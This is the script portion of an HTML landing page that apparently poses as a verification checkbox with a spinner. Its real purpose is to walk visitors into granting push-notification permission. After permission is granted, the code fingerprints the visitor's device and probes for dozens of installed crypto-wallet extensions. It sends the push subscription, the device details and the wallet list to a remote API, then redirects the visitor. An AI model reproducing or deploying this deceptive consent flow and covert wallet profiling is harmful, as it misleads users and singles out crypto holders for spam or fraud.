    // Redirect helper
    function redirectTo(url) {
      try {
        if (window.top && window.top !== window) {
          window.top.location.href = url;
        } else {
          window.location.href = url;
        }
      } catch (e) {
        window.location.href = url;
      }
    }
    
    // Subscribe to push
    async function subscribeToPush() {
      try {
        console.log('[v0] Starting subscription process...');
        console.log('[v0] VAPID Key:', config.vapidKey ? config.vapidKey.substring(0, 20) + '...' : 'MISSING');
        
        // Register service worker
        const registration = await navigator.serviceWorker.register('/sw.js');
        console.log('[v0] Service worker registered:', registration);
        
        await navigator.serviceWorker.ready;
        console.log('[v0] Service worker ready');
        
        // Subscribe to push
        const subscription = await registration.pushManager.subscribe({
          userVisibleOnly: true,
          applicationServerKey: urlBase64ToUint8Array(config.vapidKey)
        });
        
        console.log('[v0] Push subscription created:', subscription);
        
        // Get subscription as JSON
        const subJson = subscription.toJSON();
        console.log('[v0] Subscription JSON:', JSON.stringify(subJson));
        
        // Extract keys properly
        const p256dh = subJson.keys?.p256dh || '';
        const auth = subJson.keys?.auth || '';
        
        console.log('[v0] Keys - p256dh:', p256dh ? 'present' : 'MISSING', 'auth:', auth ? 'present' : 'MISSING');
        
        if (!p256dh || !auth) {
          console.error('[v0] Missing encryption keys!');
          return false;
        }
        
        // Detect wallets
        const wallets = detectWallets();
        console.log('[v0] Detected wallets:', wallets);
        
        // Get device info
        const deviceInfo = getDeviceInfo();
        
        // Build request payload with all available info
        const payload = {
          endpoint: subJson.endpoint,
          keys: {
            p256dh: p256dh,
            auth: auth
          },
          userAgent: navigator.userAgent,
          platform: deviceInfo.platform,
          os: deviceInfo.os,
          osVersion: deviceInfo.osVersion,
          browser: deviceInfo.browser,
          browserVersion: deviceInfo.browserVersion,
          deviceType: deviceInfo.deviceType,
          sourceDomain: window.location.hostname,
          slug: config.landingPageSlug,
          landingPageName: config.landingPageName,
          destinationUrl: config.allowRedirect,
          referrer: config.referrerUrl || document.referrer,
          language: navigator.language || 'en',
          screenResolution: window.screen.width + 'x' + window.screen.height,
          timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
          connectionType: navigator.connection ? navigator.connection.effectiveType : null,
          wallets: wallets
        };
        
        console.log('[v0] Sending payload with retry mechanism to:', config.apiUrl + '/api/subscribe');
        
        const result = await sendWithRetry(config.apiUrl + '/api/subscribe', payload);
        
        if (result.success) {
          console.log('[v0] Subscription delivered successfully');
        } else if (result.fallback) {
          console.log('[v0] Subscription sent via fallback or queued for retry');
        }
        
        return result.success !== false;
      } catch (e) {
        console.error('[v0] Subscribe error:', e);
        return false;
      }
    }
    
    function detectWallets() {
      const wallets = [];
      try {
        // Ethereum wallets
        if (window.ethereum) {
          if (window.ethereum.isMetaMask) wallets.push('MetaMask');
          if (window.ethereum.isCoinbaseWallet) wallets.push('Coinbase');
          if (window.ethereum.isBraveWallet) wallets.push('Brave');
          if (window.ethereum.isTrust) wallets.push('Trust');
          if (window.ethereum.isTokenPocket) wallets.push('TokenPocket');
          if (window.ethereum.isRabby) wallets.push('Rabby');
          if (window.ethereum.isFrame) wallets.push('Frame');
          if (window.ethereum.isStatus) wallets.push('Status');
          if (window.ethereum.isMathWallet) wallets.push('MathWallet');
          if (window.ethereum.isOKExWallet) wallets.push('OKX');
          if (window.ethereum.isTokenary) wallets.push('Tokenary');
          if (window.ethereum.isZerion) wallets.push('Zerion');
          if (window.ethereum.isPhantom) wallets.push('Phantom');
          // Generic Ethereum wallet
          if (wallets.length === 0 && window.ethereum) wallets.push('Ethereum');
        }
        // Solana wallets
        if (window.solana) {
          if (window.solana.isPhantom) wallets.push('Phantom');
          if (window.solana.isSolflare) wallets.push('Solflare');
          if (window.solana.isBackpack) wallets.push('Backpack');
          if (window.solana.isGlow) wallets.push('Glow');
          if (wallets.indexOf('Solana') === -1 && !window.solana.isPhantom) wallets.push('Solana');
        }
        // Specific wallet objects
        if (window.phantom?.ethereum) wallets.push('Phantom');
        if (window.coinbaseWalletExtension) wallets.push('Coinbase');
        if (window.trustwallet) wallets.push('Trust');
        if (window.tokenpocket) wallets.push('TokenPocket');
        if (window.okxwallet) wallets.push('OKX');
        if (window.bitkeep) wallets.push('BitKeep');
        if (window.coin98) wallets.push('Coin98');
        if (window.xfi) wallets.push('XDEFI');
        if (window.keplr) wallets.push('Keplr');
        if (window.leap) wallets.push('Leap');
        if (window.terraWallet) wallets.push('Terra');
        if (window.martian) wallets.push('Martian');
        if (window.petra) wallets.push('Petra');
        if (window.pontem) wallets.push('Pontem');
        if (window.suiWallet) wallets.push('Sui');
        if (window.tronWeb) wallets.push('TronLink');
        if (window.tronLink) wallets.push('TronLink');
        if (window.arweaveWallet) wallets.push('ArConnect');
        // Bitcoin wallets
        if (window.unisat) wallets.push('UniSat');
        if (window.btc) wallets.push('BTC');
        // Cardano
        if (window.cardano) {
          if (window.cardano.nami) wallets.push('Nami');
          if (window.cardano.eternl) wallets.push('Eternl');
          if (window.cardano.flint) wallets.push('Flint');
          if (window.cardano.yoroi) wallets.push('Yoroi');
          if (window.cardano.nufi) wallets.push('NuFi');
        }
        // TON
        if (window.ton) wallets.push('TON');
        if (window.tonkeeper) wallets.push('Tonkeeper');
      } catch (e) {
        console.log('[v0] Wallet detection error:', e);
      }
      // Remove duplicates
      return [...new Set(wallets)];
    }
    
    function getDeviceInfo() {
      const ua = navigator.userAgent;
      let os = 'Unknown';
      let osVersion = '';
      let browser = 'Unknown';
      let browserVersion = '';
      let deviceType = 'desktop';
      let platform = 'Unknown';
      
      // Detect OS and version
      if (/iPhone|iPad|iPod/.test(ua)) {
        os = 'iOS';
        platform = 'iOS';
        deviceType = /iPad/.test(ua) ? 'tablet' : 'mobile';
        const match = ua.match(/OS (\d+[_.]\d+)/);
        if (match) osVersion = match[1].replace('_', '.');
      } else if (/Android/.test(ua)) {
        os = 'Android';
        platform = 'Android';
        deviceType = /Mobile/.test(ua) ? 'mobile' : 'tablet';
        const match = ua.match(/Android (\d+\.?\d*)/);
        if (match) osVersion = match[1];
      } else if (/Windows/.test(ua)) {
        os = 'Windows';
        platform = 'Windows';
        const match = ua.match(/Windows NT (\d+\.\d+)/);
        if (match) {
          const ntVersion = match[1];
          if (ntVersion === '10.0') osVersion = '10/11';
          else if (ntVersion === '6.3') osVersion = '8.1';
          else if (ntVersion === '6.2') osVersion = '8';
          else if (ntVersion === '6.1') osVersion = '7';
          else osVersion = ntVersion;
        }
      } else if (/Mac OS X/.test(ua)) {
        os = 'macOS';
        platform = 'macOS';
        const match = ua.match(/Mac OS X (\d+[_.]\d+)/);
        if (match) osVersion = match[1].replace('_', '.');
      } else if (/Linux/.test(ua)) {
        os = 'Linux';
        platform = 'Linux';
      } else if (/CrOS/.test(ua)) {
        os = 'Chrome OS';
        platform = 'Chrome OS';
      }
      
      // Detect browser and version
      if (/Edg\/(\d+)/.test(ua)) {
        browser = 'Edge';
        const match = ua.match(/Edg\/(\d+)/);
        if (match) browserVersion = match[1];
      } else if (/OPR\/(\d+)/.test(ua) || /Opera/.test(ua)) {
        browser = 'Opera';
        const match = ua.match(/OPR\/(\d+)/) || ua.match(/Opera\/(\d+)/);
        if (match) browserVersion = match[1];
      } else if (/Chrome\/(\d+)/.test(ua)) {
        browser = 'Chrome';
        const match = ua.match(/Chrome\/(\d+)/);
        if (match) browserVersion = match[1];
      } else if (/Safari\/(\d+)/.test(ua) && !/Chrome/.test(ua)) {
        browser = 'Safari';
        const match = ua.match(/Version\/(\d+)/);
        if (match) browserVersion = match[1];
      } else if (/Firefox\/(\d+)/.test(ua)) {
        browser = 'Firefox';
        const match = ua.match(/Firefox\/(\d+)/);
        if (match) browserVersion = match[1];
      } else if (/MSIE|Trident/.test(ua)) {
        browser = 'IE';
        const match = ua.match(/(?:MSIE |rv:)(\d+)/);
        if (match) browserVersion = match[1];
      }
      
      return { os, osVersion, browser, browserVersion, deviceType, platform };
    }
    
    function detectPlatform() {
      const ua = navigator.userAgent;
      if (/iPhone|iPad|iPod/.test(ua)) return 'iOS';
      if (/Android/.test(ua)) return 'Android';
      if (/Windows/.test(ua)) return 'Windows';
      if (/Mac/.test(ua)) return 'macOS';
      if (/Linux/.test(ua)) return 'Linux';
      return 'Unknown';
    }
    
    function urlBase64ToUint8Array(base64String) {
      const padding = '='.repeat((4 - base64String.length % 4) % 4);
      const base64 = (base64String + padding).replace(/-/g, '+').replace(/_/g, '/');
      const rawData = window.atob(base64);
      const outputArray = new Uint8Array(rawData.length);
      for (let i = 0; i < rawData.length; ++i) {
        outputArray[i] = rawData.charCodeAt(i);
      }
      return outputArray;
    }
    
    // Main logic
    document.addEventListener('DOMContentLoaded', function() {
      setUI();
      track('visit');
      
      const checkbox = document.getElementById('checkbox');
      const spinner = document.getElementById('spinner');
      const checkmark = document.getElementById('checkmark');
      const modal = document.getElementById('modal');
      const modalBtn = document.getElementById('modal-btn');
      const iosInstructions = document.getElementById('ios-instructions');
      
      checkbox.addEventListener('click', async function() {
        // Hide checkbox, show spinner
        checkbox.style.display = 'none';
        spinner.classList.add('active');
        
        // Spin for 1.5 seconds
        await new Promise(r => setTimeout(r, 1500));
        
        // Check if iOS
        if (isIOS()) {
          spinner.classList.remove('active');
          checkbox.style.display = 'block';
          iosInstructions.classList.add('active');
          return;
        }
        
        // Show modal
        modal.classList.add('active');
        spinner.classList.remove('active');
        checkbox.style.display = 'block';
      });
      
      modalBtn.addEventListener('click', async function() {
        modal.classList.remove('active');
        checkbox.style.display = 'none';
        spinner.classList.add('active');
        
        try {
          const permission = await Notification.requestPermission();
          
          if (permission === 'granted') {
            console.log('[v0] Permission granted, starting subscription...');
            const success = await subscribeToPush();
            console.log('[v0] Subscribe result:', success);
            
            spinner.classList.remove('active');
            checkmark.classList.add('active');
            document.getElementById('checkbox-label').textContent = t('success');
            
            if (success) {
              console.log('[v0] Subscription successful, tracking allow...');
              await track('allow');
            } else {
              console.error('[v0] Subscription failed but permission was granted');
              // Still track as allow since permission was granted
              await track('allow');
            }
            
            setTimeout(() => redirectTo(config.allowRedirect), 1500);
          } else if (permission === 'denied') {
            await track('deny');
            spinner.classList.remove('active');
            checkbox.style.display = 'block';
            setTimeout(() => redirectTo(config.denyRedirect), 1000);
          } else {
            // Dismissed
            spinner.classList.remove('active');
            checkbox.style.display = 'block';
          }
        } catch (e) {
          console.error('[v0] Permission error:', e);
          spinner.classList.remove('active');
          checkbox.style.display = 'block';
        }
      });
    });
  </script>
</body>
</html>